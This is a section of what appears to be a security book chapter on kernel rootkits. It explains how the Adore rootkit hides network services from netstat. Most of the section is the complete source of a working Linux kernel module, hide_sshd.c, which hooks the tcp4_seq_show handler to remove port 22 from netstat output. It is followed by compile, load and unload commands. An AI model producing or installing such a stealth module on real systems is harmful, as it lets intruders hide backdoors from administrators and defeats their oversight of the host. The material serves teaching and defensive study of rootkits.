7.4. Hiding from netstat
The netstat tool
lists currently running network services on
a host:
[notroot]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 2085 /dev/gpmctl
unix 6 [ ] DGRAM 1886 /dev/log
unix 2 [ ] DGRAM 2153
unix 2 [ ] DGRAM 2088
unix 2 [ ] DGRAM 2046
unix 2 [ ] DGRAM 1894
The Adore rootkit allows you to hide a given
set of listening services from a netstat query. It
does this by using the exported proc_net structure
to change the tcp4_seq_show( ) handler, which is
invoked by the kernel when netstat queries for
listening connections. Within the hacked_tcp4_seq_show() function in
hide_sshd.c, strnstr( ) is
used to look in seq->buf for a substring that
contains the hex representation of the port it is trying to hide, and
if this is found, the string is deleted.
7.4.1. hide_sshd.c
Following is the full source code of the
hide_sshd LKM:
/*Thanks to adore-ng from Stealth for the ideas used in this code*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/init.h>
#include <net/tcp.h>
/*from net/ipv4/tcp_ipv4.c*/
#define TMPSZ 150
/*hide sshd*/
#define PORT_TO_HIDE 22
MODULE_LICENSE("GPL");
int (*old_tcp4_seq_show)(struct seq_file*, void *) = NULL;
char *strnstr(const char *haystack, const char *needle, size_t n)
{
char *s = strstr(haystack, needle);
if (s == NULL)
return NULL;
if (s-haystack+strlen(needle) <= n)
return s;
else
return NULL;
}
int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
int retval=old_tcp4_seq_show(seq, v);
char port[12];
sprintf(port,"%04X",PORT_TO_HIDE);
if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ))
seq->count -= TMPSZ;
return retval;
}
static int __init myinit(void)
{
struct tcp_seq_afinfo *my_afinfo = NULL;
struct proc_dir_entry *my_dir_entry = proc_net->subdir;
while (strcmp(my_dir_entry->name, "tcp"))
my_dir_entry = my_dir_entry->next;
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
old_tcp4_seq_show = my_afinfo->seq_show;
my_afinfo->seq_show = hacked_tcp4_seq_show;
}
return 0;
}
static void myexit(void)
{
struct tcp_seq_afinfo *my_afinfo = NULL;
struct proc_dir_entry *my_dir_entry = proc_net->subdir;
while (strcmp(my_dir_entry->name, "tcp"))
my_dir_entry = my_dir_entry->next;
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
my_afinfo->seq_show=old_tcp4_seq_show;
}
}
module_init(myinit);
module_exit(myexit);
7.4.2. Compiling and Testing hide_sshd
The hide_sshd.c source code assumes we are
trying to hide the presence of sshd running on a
host. If you want to hide any other service, change the value of
PORT_TO_HIDE. For the purposes of this section, we
assume that sshd is running on the host. Make sure
by running netstat:
[notroot]$ netstat -na | grep 22
tcp 0 0.0.0.0:22 0.0.0.0:* LISTEN
Use the following makefile:
obj-m += hide_sshd.o
Compile using the following make command:
[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
Insert the module:
[root]# insmod ./hide_sshd.ko
Now sshd will not be visible. Try the
netstat query again:
[notroot]# netstat -na | grep 22
Unload the module
when done:
[root]# rmmod hide_sshd
|